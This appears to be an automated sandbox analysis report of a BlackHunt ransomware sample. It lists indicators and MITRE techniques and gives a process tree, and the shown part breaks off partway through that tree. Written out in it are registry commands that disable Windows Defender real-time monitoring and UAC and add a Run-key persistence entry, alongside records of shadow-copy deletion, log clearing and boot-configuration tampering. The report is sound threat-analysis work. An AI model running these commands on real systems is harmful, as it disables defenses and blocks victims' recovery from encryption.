302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a

Data Destruction

T1485

pid	Process
10168	fsutil.exe
15792	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
15440	wevtutil.exe
16136	wevtutil.exe
16248	wevtutil.exe
15980	wevtutil.exe
15500	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
8968	bcdedit.exe
7480	bcdedit.exe
15812	bcdedit.exe
15916	bcdedit.exe

Renames multiple (538) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
9588	wbadmin.exe
16396	wbadmin.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\Q:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\E:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\Y:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\I:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\O:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\G:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\Z:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\J:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\K:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\V:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\X:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\W:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\R:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\T:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\A:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\S:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\H:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\L:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\N:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\M:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\U:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\P:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened (read-only)	\??\B:	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jre-1.8\lib\psfontj2d.properties	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_Private.key	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\MSBuild\#BlackHunt_ReadMe.hta	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#BlackHunt_Private.key	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\be.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_ReadMe.hta	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_ReadMe.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\io.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jopt-simple.md	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\THIRDPARTYLICENSEREADME.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\public_suffix.md	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\#BlackHunt_Private.key	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_ReadMe.hta	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_ReadMe.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ja.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\glib.md	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_ko.properties	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\Java\jre-1.8\lib\cmm\#BlackHunt_ReadMe.hta	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_Private.key	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\Java\jre-1.8\bin\#BlackHunt_Private.key	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_ReadMe.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\ant-javafx.jar	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\THIRDPARTYLICENSEREADME.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_ReadMe.hta	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.hta	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_ReadMe.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\directshow.md	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_ReadMe.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\jopt-simple.md	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\jaccess.jar	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ky.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spl.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_Private.key	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_ReadMe.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\Java\jdk-1.8\jre\#BlackHunt_ReadMe.hta	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\sound.properties	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\vlc.mo	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\vlc.mo	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\#BlackHunt_ReadMe.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\7-Zip\#BlackHunt_Private.key	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\relaxngcc.md	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jfr\profile.jfc	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\UnregisterConfirm.au	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\server\Xusage.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\webkit.md	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management\jmxremote.access	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_ReadMe.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cy.txt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\dotnet\swidtag\Microsoft Windows Desktop Runtime - 8.0.0 (x64).swidtag	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\cldrdata.jar	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\rt.jar	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\webkit.md	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\VideoLAN\VLC\hrtfs\#BlackHunt_ReadMe.hta	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\plugin2\#BlackHunt_Private.key	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_Private.key	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\server\classes.jsa	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\en.ttt	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_ReadMe.hta	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\blacklist	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\#BlackHunt_Private.key	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\local_policy.jar	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\sRGB.pf	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
7372	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
7768	vssadmin.exe
7184	vssadmin.exe
10136	vssadmin.exe
2604	vssadmin.exe
2852	vssadmin.exe
7476	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
17008	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	Conhost.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	Conhost.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
17068	PING.EXE

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
Token: SeRestorePrivilege	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
Token: SeBackupPrivilege	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
Token: SeTakeOwnershipPrivilege	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
Token: SeAuditPrivilege	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
Token: SeSecurityPrivilege	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
Token: SeIncBasePriorityPrivilege	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3920 wrote to memory of 4824	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	90
PID 3920 wrote to memory of 4824	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	90
PID 3920 wrote to memory of 4324	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	92
PID 3920 wrote to memory of 4324	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	92
PID 3920 wrote to memory of 3040	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	94
PID 3920 wrote to memory of 3040	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	94
PID 3920 wrote to memory of 4036	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	100
PID 3920 wrote to memory of 4036	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	100
PID 3920 wrote to memory of 3496	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	172
PID 3920 wrote to memory of 3496	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	172
PID 4824 wrote to memory of 3152	4824	cmd.exe	98
PID 4824 wrote to memory of 3152	4824	cmd.exe	98
PID 3920 wrote to memory of 2384	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	101
PID 3920 wrote to memory of 2384	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	101
PID 3920 wrote to memory of 2368	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	113
PID 3920 wrote to memory of 2368	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	113
PID 3040 wrote to memory of 2824	3040	cmd.exe	103
PID 3040 wrote to memory of 2824	3040	cmd.exe	103
PID 3920 wrote to memory of 1908	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	104
PID 3920 wrote to memory of 1908	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	104
PID 3920 wrote to memory of 3996	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	112
PID 3920 wrote to memory of 3996	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	112
PID 3920 wrote to memory of 4080	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	106
PID 3920 wrote to memory of 4080	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	106
PID 3496 wrote to memory of 1584	3496	Conhost.exe	109
PID 3496 wrote to memory of 1584	3496	Conhost.exe	109
PID 4324 wrote to memory of 1400	4324	cmd.exe	169
PID 4324 wrote to memory of 1400	4324	cmd.exe	169
PID 3920 wrote to memory of 3644	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	114
PID 3920 wrote to memory of 3644	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	114
PID 2384 wrote to memory of 2320	2384	cmd.exe	118
PID 2384 wrote to memory of 2320	2384	cmd.exe	118
PID 3920 wrote to memory of 4876	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	116
PID 3920 wrote to memory of 4876	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	116
PID 4080 wrote to memory of 3600	4080	cmd.exe	119
PID 4080 wrote to memory of 3600	4080	cmd.exe	119
PID 3920 wrote to memory of 1016	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	120
PID 3920 wrote to memory of 1016	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	120
PID 4036 wrote to memory of 656	4036	cmd.exe	176
PID 4036 wrote to memory of 656	4036	cmd.exe	176
PID 1908 wrote to memory of 4556	1908	cmd.exe	123
PID 1908 wrote to memory of 4556	1908	cmd.exe	123
PID 2368 wrote to memory of 3636	2368	cmd.exe	127
PID 2368 wrote to memory of 3636	2368	cmd.exe	127
PID 3920 wrote to memory of 1116	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	126
PID 3920 wrote to memory of 1116	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	126
PID 3644 wrote to memory of 1752	3644	cmd.exe	183
PID 3644 wrote to memory of 1752	3644	cmd.exe	183
PID 3920 wrote to memory of 4448	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	128
PID 3920 wrote to memory of 4448	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	128
PID 3920 wrote to memory of 1220	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	130
PID 3920 wrote to memory of 1220	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	130
PID 3920 wrote to memory of 2528	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	134
PID 3920 wrote to memory of 2528	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	134
PID 4876 wrote to memory of 2644	4876	cmd.exe	186
PID 4876 wrote to memory of 2644	4876	cmd.exe	186
PID 3920 wrote to memory of 4696	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	131
PID 3920 wrote to memory of 4696	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	131
PID 3996 wrote to memory of 1412	3996	cmd.exe	138
PID 3996 wrote to memory of 1412	3996	cmd.exe	138
PID 3920 wrote to memory of 1404	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	137
PID 3920 wrote to memory of 1404	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	137
PID 3920 wrote to memory of 3380	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	140
PID 3920 wrote to memory of 3380	3920	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe	140

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe

C:\Users\Admin\AppData\Local\Temp\302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe
"C:\Users\Admin\AppData\Local\Temp\302519d76407f57d7db43e1af1bb7379d63ba995aa0e9310c3af3b259510637a.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4324
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:1400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:3496
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:656
- C:\Windows\System32\cmd.exe
